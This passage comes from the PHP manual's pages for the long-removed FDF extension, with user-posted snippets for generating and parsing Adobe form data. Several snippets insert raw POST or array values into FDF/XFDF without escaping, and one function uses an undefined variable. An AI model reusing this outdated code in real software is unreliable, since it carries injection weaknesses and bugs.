    $replace = array('\\\\', '\(', '\)');
    foreach ($pdf_data as $key => $val)
    {
        $clean_key = str_replace($search, $replace, $key);
        $clean_val = str_replace($search, $replace, $val);
        $fdf .= "<< /V ($clean_val)/T ($clean_key) >> \n";
    }

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    return $fdf;
}
mirage at rateaprof dot com 08-May-2003 05:33
If you get the new  fdftkv5.tar.gz  from adobe's site (per the link above), you'll get some totally new spacing and capitalization of files.  To make the current 4.3.1 configure, you need to do a few things.

untar fdftkv5.tar.gz into /usr/local
cd /usr/local
#for ease of use
ln -s FDFToolkit\ for\ UNIX fdf

cd fdf
ln -s Headers\ And\ Libraries HeadersAndLibraries

#may need to modify the following for your OS
ln -s LINUX linux
cd linux/C
ln -s LIBFDFTK.SO libfdftk.so

cd ..
cd ..
ln -s Headers headers
cd headers
ln -s FDFTK.H fdftk.h

And that should get you going... and to whoever is maintaining the configure script, please be aware there are changes in the FDF Toolkit.
Teemu 05-Mar-2003 06:17
Maybe you have to use Header-function that your browser will regonize xfdf-file. Like this:

Header( "Content-type: application/vnd.adobe.xfdf");
jeff at cowart dot net 19-Jan-2003 08:06
I have tried to use the scripts above by adam and Toppi and I have been unable to get them to work unless I save the generated fdf file and then open it manually in acrobat.
Toppi at i-Mehl dot De 26-Nov-2002 12:18
I tried a lot with FDF -> PDF and merging these documents...
in my opinon xfdf is more handy than fdf... for those who'd like to try: feel free to use this little function to generate an xfdf document from an array.

ToPPi

function array2xfdf($xfdf_data, $pdf_file) {
// Creates an XFDF File from a 2 dimensional
// Array Format: "array ("key1" => "content1", "key2" => "content2");
$xfdf = "<?xml version='1.0' encoding='UTF-8'?>\n";
$xfdf .= "<xfdf xmlns='http://ns.adobe.com/xfdf/' xml:space='preserve'>\n";
$xfdf .= "<fields>\n";
// Loop -> Array to XFDF Data
foreach ($xfdf_data as $key => $val) {
$xfdf .= "<field name='".$key."'>\n";
$xfdf .= "<value>".$val."</value>\n";
$xfdf .= "</field>\n";
};
// XFDF "Footer"
$xfdf .= "</fields>";
$xfdf .= "<f href='".$pdf_file."'/>";
$xfdf .= "</xfdf>";
return $xfdf;
}
mitka at actdev.com 21-Oct-2002 04:24
IMPORTANT:

If you handled the FDF POSTs via $HTTP_RAW_POST_DATA as in user contributed scripts above, it's good to know that once you decide to rebuild PHP with FDFToolkit support, $HTTP_RAW_POST_DATA will be undefined.

Good news - $HTTP_FDF_DATA _will_ be defined instead. (Look at the example above).To get the user contributed scripts working in both plain PHP and PHP+FDFToolkit use

 $HTTP_RAW_POST_DATA . $HTTP_FDF_DATA

where $HTTP_RAW_POST_DATA mentioned.

Dimitri Tarassenko
adam at andemyte dot com 02-Aug-2002 11:30
Here is yet another example of generating pre-filled PDFs without using the FDF functions. This function takes two args: a URL to the PDF (like "http://domain.com/path/to/form.pdf" and an array with all the field's values.

/*
    WARNING!! THIS FUNCTION SENDS HTTP HEADERS! It MUST be called before
    any content is spooled to the browser, or the function will fail!

    void output_fdf (string $pdf_file, array $pdf_data)

        $pdf_file:  a string containing a URL path to a PDF file on the
                    server. This PDF MUST exist and contain fields with
                    the names referenced by $pdf_data for this function
                    to work.
        $pdf_data:  an array of any fields in $pdf_file that you want to
                    populate, of the form key=>val; where the field
                    name is the key, and the field's value is in val.

*/

function output_fdf ($pdf_file, $pdf_data) {

    $fdf = "%FDF-1.2\n%????\n";
    $fdf .= "1 0 obj \n<< /FDF ";
    $fdf .= "<< /Fields [\n";

    foreach ($pdf_data as $key => $val)
        $fdf .= "<< /V ($val)/T ($key) >> \n";

    $fdf .= "]\n/F ($pdf_file) >>";
    $fdf .= ">>\nendobj\ntrailer\n<<\n";
    $fdf .= "/Root 1 0 R \n\n>>\n";
    $fdf .= "%%EOF";

    /* Now we display the FDF data which causes Acrobat to start  */

    header ("Content-Type: application/vnd.fdf");
    print $fdf;

}
noah at NOSPAMbrandfidelity dot com 08-Mar-2002 08:26
function parse($file) {
                if (!preg_match_all("/<<\s*\/V([^>]*)>>/x",
$file,$out,PREG_SET_ORDER))
                        return;
                for ($i=0;$i<count($out);$i++) {
                        $pattern = "<<.*/V\s*(.*)\s*/T\s*(.*)\s*>>";
                        $thing = $out[$i][1];
                        if (eregi($pattern,$out[$i][0],$regs)) {
                                $key = $regs[2];
                                $val = $regs[1];
                                $key = preg_replace("/^\s*\(/","",$key);
                                $key = preg_replace("/\)$/","",$key);
                                $key = preg_replace("/\\\/","",$key);
                                $val = preg_replace("/^\s*\(/","",$val);
                                $val = preg_replace("/\)$/","",$val);
                                $matches[$key] = $val;
                        }
                }
                return $matches;
        }
gregDELETETHIS at laundrymat dot tv 21-Dec-2001 03:06
Here is an easy script to output fdf data to the browser without using the fdf toolkit or creating an actual fdf file on the server.
By the way acrobat is very picky about line breaks so you must leave the "\n" in the script. The script reads the variables posted to it from a form use POST and creates a fdf file from them. The field names posted to this script must match the field names in the pdf. Acrobat will ignore any that don't match.

<?php

//path to pdf file
$url="http://www.some_url.com/form.pdf";

$values=$HTTP_POST_VARS;

$fdfdata = "%FDF-1.2\n%????\n";
$fdfdata .= "1 0 obj \n<< /FDF ";
$fdfdata .= "<< /Fields [\n";

//loop that adds the field names and values
foreach($values as $key=>$val)
    {
    $fdfdata.="<< /V ($val)/T ($key) >> ";
    }

$fdfdata .= "]\n";
$fdfdata .= "/F ($url) >>";
$fdfdata .= ">>\nendobj\ntrailer\n<<\n/Root 1 0 R\n>>\n";
$fdfdata .= "%%EOF";

/*** Now we display the FDF data which causes Acrobat to start  ***/

header ("Content-Type: application/vnd.fdf");
print $fdfdata;

?>

You can use javascript in the pdf to read the values from a GET method posted directly to the pdf. you can see both methods here: http://laundrymat.tv/pdf/
joe at koontz dot net 28-Apr-2000 04:42
The simplest thing to do is get the FDF data from $HTTP_RAW_POST_DATA.  (unless you have the server library installed none of the fdf data gets parsed!) This is typical of  what you get:
%FDF-1.2
1 0 obj
<<
/FDF << /Fields [ << /V (0)/T (amount0)>> << /V (0)/T (amount1)>> << /V (0)/T (amount2)>>
<< /V (0)/T (amount3)>> << /V (0)/T (amount4)>> << /V (0)/T (amount5)>>
<< /V (0)/T (amount6)>> << /V (0)/T (amount7)>> << /V (0)/T (amount8)>>
<< /V (0)/T (amount9)>> << /V /0102 /T (chase_bk)>> << /V (0)/T (count)>>
<< /V (0)/T (invtotal)>> << /V (12/21/2000)/T (sent_ap)>> << /V /Off /T (spec_hand)>>
<< /V (041232)/T (transit_no)>> << /V (THIS FORM IS NOT COMPLETE!!!)/T (X)>>
]
/F (http://x.com/forms/AA00390q.pdf)>>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF
kill everything before the [ and then parse it down into key value pairs.
I wrote this to create an FDF, make sure you do a
header("Content-type: application/vnd.fdf");
before you echo the returned value to the user.

<?php
function FDFput($FDFpage){
 $A = "%FDF-1.2\n1 0 obj\n<< \n/FDF << /Fields [ \n";
 $C = " ] \n"    ;
     if ($FDFpage>"" ) {$C .=" /F ($FDFpage)>>\n";}
    $C .= ">>\n>> \nendobj\ntrailer\n\n<</Root 1 0 R>>\n%%EOF\n";
    $B = "";
 reset($FDFData);
 while (list($key, $val) = each($FDFData))
  {
  if (strlen(trim($val)) > 0 && is_string($key))
   {
    $B .= "<</T ($key) /V (". $val . ")>>\n";
//echo     "<</T ($key) /V (". $val . ")>>\n";
                }
  }
    return $A.$B.$C;
}
?>

It ain't perfect - but it works. (I use HTML for posting to the server, FDF to the browser)
joe


Adds javascript code to the FDF document

  • ? FDF 函数
  • fdf_add_template ?
  • PHP Manual
  • FDF 函数
  • Adds javascript code to the FDF document

fdf_add_doc_javascript

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_add_doc_javascript — Adds javascript code to the FDF document

说明

fdf_add_doc_javascript(resource $fdf_document, string $script_name, string $script_code): bool

Adds a script to the FDF, which Acrobat then adds to the doc-level scripts of a document, once the FDF is imported into it.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

script_name

The script name.

script_code

The script code. It is strongly suggested to use \r for linebreaks within the script code.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Adding JavaScript code to a FDF

<?php
$fdf = fdf_create();
fdf_add_doc_javascript($fdf, "PlusOne", "function PlusOne(x)\r{\r return x+1;\r}\r");
fdf_save($fdf);
?>

will create a FDF like this:

%FDF-1.2
%a??ó
1 0 obj
<<
/FDF << /JavaScript << /Doc [ (PlusOne)(function PlusOne\(x\)\r{\r  return x+1;\r}\r)] >> >>
>>
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

User Contributed Notes

There are no user contributed notes for this page.


Adds a template into the FDF document

  • ? fdf_add_doc_javascript
  • fdf_close ?
  • PHP Manual
  • FDF 函数
  • Adds a template into the FDF document

fdf_add_template

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_add_template — Adds a template into the FDF document

说明

fdf_add_template(
resource $fdf_document,
int $newpage,
string $filename,
string $template,
int $rename
): bool
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Close an FDF document

  • ? fdf_add_template
  • fdf_create ?
  • PHP Manual
  • FDF 函数
  • Close an FDF document

fdf_close

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_close — Close an FDF document

说明

fdf_close(resource $fdf_document): void

Closes the FDF document.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

返回值

没有返回值。

参见

  • fdf_open() - Open a FDF document

User Contributed Notes

There are no user contributed notes for this page.


Create a new FDF document

  • ? fdf_close
  • fdf_enum_values ?
  • PHP Manual
  • FDF 函数
  • Create a new FDF document

fdf_create

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_create — Create a new FDF document

说明

fdf_create(): resource

Creates a new FDF document.

This function is needed if one would like to populate input fields in a PDF document with data.

参数

此函数没有参数。

返回值

Returns a FDF document handle, or false on error.

示例

Example #1 Populating a PDF document

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

参见

  • fdf_close() - Close an FDF document
  • fdf_save() - Save a FDF document
  • fdf_open() - Open a FDF document

User Contributed Notes

jwadhwani at pobox dot com 06-Jun-2006 08:08
For fdf_save you need to provide the complete path, such as :fdf_save($outfdf,"c:/inetpub/wwwroot/temp_sites/fdf/outtest.fdf"); and not only outtest.fdf.
Punkisdead 04-Oct-2003 12:03
<?php
$outfdf = fdf_create();
$volume = "test";
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http://localhost/webapps/volume.pdf");
Header("Content-type: application/vnd.fdf");
fdf_save($outfdf);
fdf_close($outfdf);

?>

This works for IE 5.5+

It will populate the fields and open the resulting pdf for you, without having to create an fdf file and adding the open script to the pdf...
mlarke at nanuc dot ca 10-Aug-2003 05:14
Header("Content-type: application/vnd.fdf"); simply does not work in IE. The easiest method to automatically load the fdf file is to open the 'pdf' file via php. With use of Acrobat
document -> page action -> page open -> add -> javascript
and paste the following into the pdf file:

this.importAnFDF("my_fdf_file.fdf");

This will auto-load the fdf contents
Cheers Mike
Sergei 17-Mar-2003 11:43
I thought the following might save someone a lot of time. The example fdf snippet above, namely:

<?php
$outfdf = fdf_create();
fdf_set_value($outfdf, "volume", $volume, 0);

fdf_set_file($outfdf, "http:/testfdf/resultlabel.pdf");
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
Header("Content-type: application/vnd.fdf");
$fp = fopen("outtest.fdf", "r");
fpassthru($fp);
unlink("outtest.fdf");
?>

will not work (or there's at least a big possibility it won't) in IE (version 6 sure and I suspect lower versions as well) if you have session.auto_start on. Apparently, setting a cookie before feeding the fdf to the browser somehow messes it up. It works fine in Netscape though. I spent days on Google before I found a post somewhere about someone else having the same problem.

The solution? Well, I created a separate directory in the web tree and turned session.auto_start off just for that directory like this:

<Location /new_directory>
    php_admin_flag session.auto_start 0
</Location>

Hope this was useful to somebody.


Call a user defined function for each document value

  • ? fdf_create
  • fdf_errno ?
  • PHP Manual
  • FDF 函数
  • Call a user defined function for each document value

fdf_enum_values

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_enum_values — Call a user defined function for each document value

说明

fdf_enum_values(resource $fdf_document, callable $function, mixed $userdata = ?): bool
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

ceo at l-i-e dot com 10-Jul-2003 11:13
If you need something like this in a pre 4.3 version, here is a rough hack I was working on before I realized I didn't need this after all.

        preg_match('/Fields\[(.*)\]/', $raw_pdf, $field_data);
        echo "Fields: ", htmlentities($field_data[1]), "<HR>\n";
        $field_data = $field_data[1];
        $key_value = explode(">><<", $field_data);
        $key_value[0] = substr($key_value[0], 2);
        $key_value[count($key_value) - 1] = substr($key_value[count($key_value) - 1], 0, -2);
        while (list(, $kv) = each($key_value)){
                list($key, $value) = explode("/V", $kv);
                $key = substr($key, 2);
                if ($key[0] == '('){
                        $key = substr($key, 1, -1);
                }
                if ($value[0] == '/'){
                        $value = substr($value, 1);
                }
                if ($value[0] == '('){
                        $value = substr($value, 1, -1);
                }
                echo "Key: $key Value: $value<BR>\n";
        }

The $raw_pdf can either be the $HTTP_RAW_POST_DATA before you write a submitted PDF, or it can just be the raw PDF data you would read from a PDF using, say:
$raw_pdf = implode("", file("/path/to/your/fdf/whatever.pdf"));

You'll probably need to tweak this to do something more interesting than just printing the stuff.

Hmmmm.  Think they'll throw me in jail for this post?  Oh well.


Return error code for last fdf operation

  • ? fdf_enum_values
  • fdf_error ?
  • PHP Manual
  • FDF 函数
  • Return error code for last fdf operation

fdf_errno

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_errno — Return error code for last fdf operation

说明

fdf_errno(): int

Gets the error code set by the last FDF function call.

A textual description of the error may be obtained using with fdf_error().

参数

此函数没有参数。

返回值

Returns the error code as an integer, or zero if there was no errors.

参见

  • fdf_error() - Return error description for FDF error code

User Contributed Notes

There are no user contributed notes for this page.


Return error description for FDF error code

  • ? fdf_errno
  • fdf_get_ap ?
  • PHP Manual
  • FDF 函数
  • Return error description for FDF error code

fdf_error

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_error — Return error description for FDF error code

说明

fdf_error(int $error_code = -1): string

Gets a textual description for the FDF error code given in error_code.

参数

error_code

An error code obtained with fdf_errno(). If not provided, this function uses the internal error code set by the last operation.

返回值

Returns the error message as a string, or the string no error if nothing went wrong.

参见

  • fdf_errno() - Return error code for last fdf operation

User Contributed Notes

There are no user contributed notes for this page.


Get the appearance of a field

  • ? fdf_error
  • fdf_get_attachment ?
  • PHP Manual
  • FDF 函数
  • Get the appearance of a field

fdf_get_ap

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_ap — Get the appearance of a field

说明

fdf_get_ap(
resource $fdf_document,
string $field,
int $face,
string $filename
): bool

Gets the appearance of a field (i.e. the value of the /AP key) and stores it in a file.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

field

face

The possible values are FDFNormalAP, FDFRolloverAP and FDFDownAP.

filename

The appearance will be stored in this parameter.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Extracts uploaded file embedded in the FDF

  • ? fdf_get_ap
  • fdf_get_encoding ?
  • PHP Manual
  • FDF 函数
  • Extracts uploaded file embedded in the FDF

fdf_get_attachment

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_attachment — Extracts uploaded file embedded in the FDF

说明

fdf_get_attachment(resource $fdf_document, string $fieldname, string $savepath): array

Extracts a file uploaded by means of the "file selection" field fieldname and stores it under savepath.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

savepath

May be the name of a plain file or an existing directory in which the file is to be created under its original name. Any existing file under the same name will be overwritten.

Note:

There seems to be no other way to find out the original filename but to store the file using a directory as savepath and check for the basename it was stored under.

返回值

The returned array contains the following fields:

  • path - path were the file got stored
  • size - size of the stored file in bytes
  • type - mimetype if given in the FDF

示例

Example #1 Storing an uploaded file

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
$data = fdf_get_attachment($fdf, "filename", "/tmpdir");
echo "The uploaded file is stored in $data[path]";
?>

User Contributed Notes

There are no user contributed notes for this page.


Get the value of the /Encoding key

  • ? fdf_get_attachment
  • fdf_get_file ?
  • PHP Manual
  • FDF 函数
  • Get the value of the /Encoding key

fdf_get_encoding

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_encoding — Get the value of the /Encoding key

说明

fdf_get_encoding(resource $fdf_document): string

Gets the value of the /Encoding key.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

返回值

Returns the encoding as a string. An empty string is returned if the default PDFDocEncoding/Unicode scheme is used.

参见

  • fdf_set_encoding() - Sets FDF character encoding

User Contributed Notes

There are no user contributed notes for this page.


Get the value of the /F key

  • ? fdf_get_encoding
  • fdf_get_flags ?
  • PHP Manual
  • FDF 函数
  • Get the value of the /F key

fdf_get_file

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_file — Get the value of the /F key

说明

fdf_get_file(resource $fdf_document): string

Gets the value of the /F key.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

返回值

Returns the key value, as a string.

参见

  • fdf_set_file() - Set PDF document to display FDF data in

User Contributed Notes

There are no user contributed notes for this page.


Gets the flags of a field

  • ? fdf_get_file
  • fdf_get_opt ?
  • PHP Manual
  • FDF 函数
  • Gets the flags of a field

fdf_get_flags

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_flags — Gets the flags of a field

说明

fdf_get_flags(resource $fdf_document, string $fieldname, int $whichflags): int
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Gets a value from the opt array of a field

  • ? fdf_get_flags
  • fdf_get_status ?
  • PHP Manual
  • FDF 函数
  • Gets a value from the opt array of a field

fdf_get_opt

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECLv)

fdf_get_opt — Gets a value from the opt array of a field

说明

fdf_get_opt(resource $fdf_document, string $fieldname, int $element = -1): mixed
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Get the value of the /STATUS key

  • ? fdf_get_opt
  • fdf_get_value ?
  • PHP Manual
  • FDF 函数
  • Get the value of the /STATUS key

fdf_get_status

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_status — Get the value of the /STATUS key

说明

fdf_get_status(resource $fdf_document): string

Gets the value of the /STATUS key.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

返回值

Returns the key value, as a string.

参见

  • fdf_set_status() - Set the value of the /STATUS key

User Contributed Notes

There are no user contributed notes for this page.


Get the value of a field

  • ? fdf_get_status
  • fdf_get_version ?
  • PHP Manual
  • FDF 函数
  • Get the value of a field

fdf_get_value

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_value — Get the value of a field

说明

fdf_get_value(resource $fdf_document, string $fieldname, int $which = -1): mixed

Gets the value for the requested field.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string.

which

Elements of an array field can be retrieved by passing this optional parameter, starting at zero. For non-array fields, this parameter will be ignored.

返回值

Returns the field value.

更新日志

版本 | 说明
4.3.0 | Support for arrays and the which parameter were added.

参见

  • fdf_set_value() - Set the value of a field

User Contributed Notes

mclinden at informed dot net 17-Sep-2002 02:35
(i filed a bug report/feature request for this on bugs.php.net and assigned it to myself hartmut@php.net)

The default behavior for the FDF Toolkit is to return an FDFErcNoValue for the FDFGetValue when the field exists but has no value.

Whether or not this is truly an error is debateable. It seems to become an issue in documents created by Acrobat 5 when optional fields are included in a form with required fields since the default behavior seems to be to populate the HTTP_FDF_DATA with the results of the FDFNextFieldName enumerator, which would include the fields which have no value.

This would not be a problem except that the PHP function fdf_get_value() does not specifically test for the FDFErcNoValue condition but, instead, tests for the more general FDFErcOK. If this value is not the result of the error code, the system issues warnings (the display of which could be turned off), but the broader question is, should this be a warning condition at all?

Put another way, should a return of FDFErcNoValue for FDFGetValue be considered an event worth generating a warning?


Gets version number for FDF API or file

  • ? fdf_get_value
  • fdf_header ?
  • PHP Manual
  • FDF 函数
  • Gets version number for FDF API or file

fdf_get_version

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_get_version — Gets version number for FDF API or file

说明

fdf_get_version(resource $fdf_document = ?): string

Return the FDF version for the given document, or the toolkit API version number if no parameter is given.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

返回值

Returns the version as a string. For the current FDF toolkit 5.0 the API version number is 5.0 and the document version number is either 1.2, 1.3 or 1.4.

参见

  • fdf_set_version() - Sets version number for a FDF file

User Contributed Notes

There are no user contributed notes for this page.


Sets FDF-specific output headers

  • ? fdf_get_version
  • fdf_next_field_name ?
  • PHP Manual
  • FDF 函数
  • Sets FDF-specific output headers

fdf_header

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVNf)

fdf_header — Sets FDF-specific output headers

说明

fdf_header(): void

This is a convenience function to set appropriate HTTP headers for FDF output. It sets the Content-type: to application/vnd.fdf.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Get the next field name

  • ? fdf_header
  • fdf_open_string ?
  • PHP Manual
  • FDF 函数
  • Get the next field name

fdf_next_field_name

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_next_field_name — Get the next field name

说明

fdf_next_field_name(resource $fdf_document, string $fieldname = ?): string

Gets the name of the field after the given field. This name can be used with several functions.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

fieldname

Name of the FDF field, as a string. If not given, the first field will be assumed.

返回值

Returns the field name as a string.

示例

Example #1 Detecting all fieldnames in a FDF

<?php
$fdf = fdf_open($HTTP_FDF_DATA);
for ($field = fdf_next_field_name($fdf);
$field != "";
$field = fdf_next_field_name($fdf, $field)) {
echo "field: $field\n";
}
?>

参见

  • fdf_get_value() - Get the value of a field

User Contributed Notes

There are no user contributed notes for this page.


Read a FDF document from a string

  • ? fdf_next_field_name
  • fdf_open ?
  • PHP Manual
  • FDF 函数
  • Read a FDF document from a string

fdf_open_string

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_open_string — Read a FDF document from a string

说明

fdf_open_string(string $fdf_data): resource

Reads form data from a string.

You can use fdf_open_string() together with $HTTP_FDF_DATA to process FDF form input from a remote client.

参数

fdf_data

The data as returned from a PDF form or created using fdf_create() and fdf_save_string().

返回值

Returns a FDF document handle, or false on error.

示例

Example #1 Accessing the form data

<?php
$fdf = fdf_open_string($HTTP_FDF_DATA);
/* ... */
fdf_close($fdf);
?>

参见

  • fdf_open() - Open a FDF document
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save_string() - Returns the FDF document as a string

User Contributed Notes

There are no user contributed notes for this page.


Open a FDF document

  • ? fdf_open_string
  • fdf_remove_item ?
  • PHP Manual
  • FDF 函数
  • Open a FDF document

fdf_open

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_open — Open a FDF document

说明

fdf_open(string $filename): resource

Opens a file with form data.

You can also use fdf_open_string() to process the results of a PDF form POST request.

参数

filename

Path to the FDF file. This file must contain the data as returned from a PDF form or created using fdf_create() and fdf_save().

返回值

Returns a FDF document handle, or false on error.

示例

Example #1 Accessing the form data

<?php
// Save the FDF data into a temp file
$fdffp = fopen("test.fdf", "w");
fwrite($fdffp, $HTTP_FDF_DATA, strlen($HTTP_FDF_DATA));
fclose($fdffp);

// Open temp file and evaluate data
$fdf = fdf_open("test.fdf");
/* ... */
fdf_close($fdf);
?>

参见

  • fdf_open_string() - Read a FDF document from a string
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save() - Save a FDF document

User Contributed Notes

There are no user contributed notes for this page.


Sets target frame for form

  • ? fdf_open
  • fdf_save_string ?
  • PHP Manual
  • FDF 函数
  • Sets target frame for form

fdf_remove_item

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_remove_item — Sets target frame for form

说明

fdf_remove_item(resource $fdf_document, string $fieldname, int $item): bool
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Returns the FDF document as a string

  • ? fdf_remove_item
  • fdf_save ?
  • PHP Manual
  • FDF 函数
  • Returns the FDF document as a string

fdf_save_string

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_save_string — Returns the FDF document as a string

说明

fdf_save_string(resource $fdf_document): string

Returns the FDF document as a string.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

返回值

Returns the document as a string, or false on error.

示例

Example #1 Retrieving FDF as a string

<?php
$fdf = fdf_create();
fdf_set_value($fdf, "foo", "bar");
$str = fdf_save_string($fdf);
fdf_close($fdf);
echo $str;
?>

以上示例会输出：

%FDF-1.2
%a??ó
1 0 obj
<<
/FDF << /Fields 2 0 R >>
>>
endobj
2 0 obj
[
<< /T (foo)/V (bar)>>
]
endobj
trailer
<<
/Root 1 0 R

>>
%%EOF

参见

  • fdf_open_string() - Read a FDF document from a string
  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save() - Save a FDF document

User Contributed Notes

There are no user contributed notes for this page.


Save a FDF document

  • ? fdf_save_string
  • fdf_set_ap ?
  • PHP Manual
  • FDF 函数
  • Save a FDF document

fdf_save

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_save — Save a FDF document

说明

fdf_save(resource $fdf_document, string $filename = ?): bool

Saves a FDF document.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

filename

If provided, the resulting FDF will be written in this parameter. Otherwise, this function will write the FDF to the default PHP output stream.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • fdf_close() - Close an FDF document
  • fdf_create() - Create a new FDF document
  • fdf_save_string() - Returns the FDF document as a string

User Contributed Notes

karsten at k-fish dot de 11-Apr-2003 10:18
The doc says that an empty file name will cause PHP to output the FDF to 'stdout'. I had no success on this (with PHP 4.2.3 and fdftk v5): no string, an empty string and null all returned a message complaining about 'wrong parameter count'.

So I used the way (saving to a file and using passthru) given as an example on the page describing fdf_create(), and added a uniqid(rand(),1) to the filename to avoid clashes. This worked well.


Set the appearance of a field

  • ? fdf_save
  • fdf_set_encoding ?
  • PHP Manual
  • FDF 函数
  • Set the appearance of a field

fdf_set_ap

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_ap — Set the appearance of a field

说明

fdf_set_ap(
resource $fdf_document,
string $field_name,
int $face,
string $filename,
int $page_number
): bool

Sets the appearance of a field (i.e. the value of the /AP key).

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

field_name

face

The possible values FDFNormalAP, FDFRolloverAP and FDFDownAP.

filename

page_number

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Sets FDF character encoding

  • ? fdf_set_ap
  • fdf_set_file ?
  • PHP Manual
  • FDF 函数
  • Sets FDF character encoding

fdf_set_encoding

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_encoding — Sets FDF character encoding

说明

fdf_set_encoding(resource $fdf_document, string $encoding): bool

Sets the character encoding for the FDF document.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

encoding

The encoding name. The following values are supported: "Shift-JIS", "UHC", "GBK" and "BigFive".

An empty string resets the encoding to the default PDFDocEncoding/Unicode scheme.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set PDF document to display FDF data in

  • ? fdf_set_encoding
  • fdf_set_flags ?
  • PHP Manual
  • FDF 函数
  • Set PDF document to display FDF data in

fdf_set_file

(PHP 4, PHP 5 < 5.3.0, PECL fdf SVN)

fdf_set_file — Set PDF document to display FDF data in

说明

fdf_set_file(resource $fdf_document, string $url, string $target_frame = ?): bool

Selects a different PDF document to display the form results in then the form it originated from.

参数

fdf_document

The FDF document handle, returned by fdf_create(), fdf_open() or fdf_open_string().

url

Should be given as an absolute URL.

target_frame

Use this parameter to specify the frame in which the document will be displayed. You can also set the default value for this parameter using fdf_set_target_frame().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Passing FDF data to a second form

<?php
/* set content type for Adobe FDF */
fdf_header();

/* start new fdf */
$fdf = fdf_create();

/* set field "foo" to value "bar" */
fdf_set_value($fdf, "foo", "bar");

/* tell client to display FDF data using "fdf_form.pdf" */
fdf_set_file($fdf, "http://www.example.com/fdf_form.pdf");

/* output fdf */
fdf_save($fdf);

/* clean up */
fdf_close($fdf);
?>

参见

  • fdf_get_file() - Get the value of the /F key
